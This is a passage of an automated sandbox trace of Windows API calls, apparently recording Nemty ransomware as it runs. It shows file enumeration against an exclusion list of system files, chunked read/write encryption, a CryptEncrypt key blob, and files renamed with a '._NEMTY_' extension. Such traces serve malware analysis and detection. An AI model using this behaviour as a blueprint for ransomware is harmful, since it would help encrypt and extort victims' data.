lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.635] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.644] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.644] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.653] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.654] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.663] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.663] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.669] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.669] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.675] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.675] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402e8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0112.675] CloseHandle (hObject=0xffffffff) returned 0 [0112.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0112.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0112.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0112.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0112.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0112.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0112.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340500 [0112.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0112.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0112.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0112.676] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\curl.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\curl.png._nemty_kgobjgd_")) returned 0 [0112.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0112.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0112.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0112.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0112.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0112.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0112.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0112.676] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82438315, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82438315, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2842f2bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="month.png", cAlternateFileName="")) returned 1 [0112.676] lstrcmpiW (lpString1="month.png", lpString2=".") returned 1 [0112.676] lstrcmpiW (lpString1="month.png", lpString2="..") returned 1 [0112.676] lstrcmpiW (lpString1="month.png", lpString2="...") returned 1 [0112.676] lstrcmpiW (lpString1="month.png", lpString2="windows") returned -1 [0112.676] lstrcmpiW (lpString1="month.png", lpString2="$RECYCLE.BIN") returned 1 [0112.676] lstrcmpiW (lpString1="month.png", lpString2="rsa") returned -1 [0112.676] lstrcmpiW (lpString1="month.png", lpString2="NTDETECT.COM") returned -1 [0112.676] lstrcmpiW (lpString1="month.png", lpString2="ntldr") returned -1 [0112.676] lstrcmpiW (lpString1="month.png", lpString2="MSDOS.SYS") returned -1 [0112.676] lstrcmpiW (lpString1="month.png", lpString2="IO.SYS") returned 1 [0112.676] lstrcmpiW (lpString1="month.png", lpString2="boot.ini") returned 1 [0112.676] lstrcmpiW (lpString1="month.png", lpString2="boot.ini") returned 1 [0112.676] lstrcmpiW (lpString1="month.png", lpString2="AUTOEXEC.BAT") returned 1 [0112.676] lstrcmpiW (lpString1="month.png", lpString2="ntuser.dat") returned -1 [0112.677] lstrcmpiW (lpString1="month.png", lpString2="desktop.ini") returned 1 [0112.677] lstrcmpiW (lpString1="month.png", lpString2="CONFIG.SYS") returned 1 [0112.677] lstrcmpiW (lpString1="month.png", lpString2="RECYCLER") returned -1 [0112.677] lstrcmpiW (lpString1="month.png", lpString2="BOOTSECT.BAK") returned 1 [0112.677] lstrcmpiW (lpString1="month.png", lpString2="bootmgr") returned 1 [0112.677] lstrcmpiW (lpString1="month.png", lpString2="programdata") returned -1 [0112.677] lstrcmpiW (lpString1="month.png", lpString2="appdata") returned 1 [0112.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="month.png", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0112.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="month.png", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="month.png", lpUsedDefaultChar=0x0) returned 9 [0112.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0112.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="month.png", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0112.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="month.png", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="month.png", lpUsedDefaultChar=0x0) returned 9 [0112.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0112.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="month.png", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0112.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="month.png", cchWideChar=9, lpMultiByteStr=0x653ec20, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="month.png", lpUsedDefaultChar=0x0) returned 9 [0112.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="month.png", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0112.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="month.png", cchWideChar=9, lpMultiByteStr=0x653ec58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="month.png", lpUsedDefaultChar=0x0) returned 9 [0112.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0112.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0112.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340240 [0112.677] Sleep (dwMilliseconds=0x5) [0112.692] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf6d111b0, dwHighDateTime=0x1d561e7)) [0112.692] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf6d111b0, dwHighDateTime=0x1d561e7)) [0112.692] GetLastError () returned 0x5 [0112.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0112.692] GetLastError () returned 0x5 [0112.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0112.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0112.692] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0112.692] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0112.693] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0112.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402e8 [0112.693] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402e8, pcchString=0x653e91c | out: pszString="rQugXlY+770ve1Nmb8BY6k86j3Jn1Cg2+H44uLn5l27sxBkI2NMIRDN60Kk4rB/t\r\nWAC/kZqJZ8cdICY2joe6uJlYm28cMyN86RXJB5yNHm4G0qo1OzrldWU/gV3tbDdy\r\nYSAXh1TTu/C/r30HRinWsfk8UgZiqMpEJ/cCdR3inpEo5ZO3t/dj4h9V9VNLsuoP\r\n+WWWxo1gnDPKtwC39D+BmiMbqm6LakRQwKbBsb3wQFOsAEqjA74bQt9MAWaLuwaU\r\nsogndUIv8ImhDmh7eX2EN5swpVUHI75IyBM9wt+oiwhnybxXCX+yFgA+WkrqwonQ\r\nNtWB62AQfhlIkN0lVCFEvg==\r\n", pcchString=0x653e91c) returned 1 [0112.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0112.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0112.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0112.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0112.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402e8 [0112.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0112.693] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\month.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.693] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0112.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0112.693] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.693] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.702] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.702] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.702] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.702] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.712] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.712] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.712] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.712] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.721] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.721] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.721] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.721] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.730] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.730] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.730] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.730] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.740] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.740] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.740] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.740] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.749] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.749] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.749] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.749] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.758] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.758] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.758] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.759] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.768] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.768] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.768] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.768] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.782] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.782] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.791] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.792] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.797] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.797] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.798] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 